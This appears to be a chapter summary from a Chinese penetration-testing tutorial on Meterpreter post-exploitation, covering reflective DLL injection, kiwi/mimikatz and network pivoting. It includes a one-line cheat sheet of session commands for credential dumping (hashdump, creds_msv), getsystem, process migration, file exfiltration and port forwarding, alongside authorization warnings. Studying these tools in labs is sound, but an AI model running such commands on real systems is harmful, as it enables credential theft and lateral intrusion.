章节摘要:SOURCE 第四章:反射式 DLL 注入、内存驻留、扩展库(kiwi/mimikatz 等)、内网路由。
第 3 章拿到的会话,在这里被放大成"后渗透操作系统"。Meterpreter 不是普通 shell:它驻留内存、加密通信、按需加载扩展,把一次简单的代码执行升级为对目标系统的深度控制。蓝队视角下,理解它的机制就是理解现代恶意软件的设计范式。
本章三节分别对应三条主线:
| 主线 | 章节 | 核心内容 |
|---|---|---|
| 怎么存在 | 4.1 | 反射式注入、TLV 协议、传输层生存 |
| 能干什么 | 4.2 | 文件/进程/注册表/凭据/嗅探/端口转发 |
| 怎么扩张 | 4.3 | autoroute、SOCKS、portfwd、纵向移动 |
# 进入会话后的常用命令 sessions -i 1 getuid sysinfo migrate -N explorer.exe ps upload /tmp/tool.exe C:\\Windows\\Temp\\ download C:\\Users\\admin\\secret.txt load kiwi creds_msv hashdump getsystem run autoroute -s 10.10.10.0/24 portfwd add -L 127.0.0.1 -l 33890 -r 10.10.10.5 -p 3389
⚠️ 本章内容的法律前提: 1. 目标系统必须有书面授权 2. 所有实验在隔离 lab / CTF 环境进行 3. 凭据操作(kiwi/hashdump)仅用于授权验证 4. 严禁对生产环境做注入与凭据实验
Meterpreter 的能力越强,越需要纪律约束。本章展示的是"机制理解"与"授权验证",不是攻击技巧汇编。
| 概念 | 出现在 4.x | 前置知识 |
|---|---|---|
| 内存执行哲学 | 4.1 | 1.2 设计哲学 |
| 扩展加载 | 4.2 | 2.2 模块分类 |
| 会话作为枢纽 | 4.3 | 3.3 会话管理 |
| 免杀对抗 | 4.1/4.2 | 5.3 静态免杀 |
⚠️ 合规提醒:
load kiwi、hashdump、getsystem等命令都会在目标上留下明显的安全事件痕迹,未授权执行即构成违法。
💡 学习提示:本章建议在完整 lab 环境(一台 Kali + 一台 Windows 靶机)中边读边敲。原理段落读不懂可以先跳,但命令必须亲手跑通。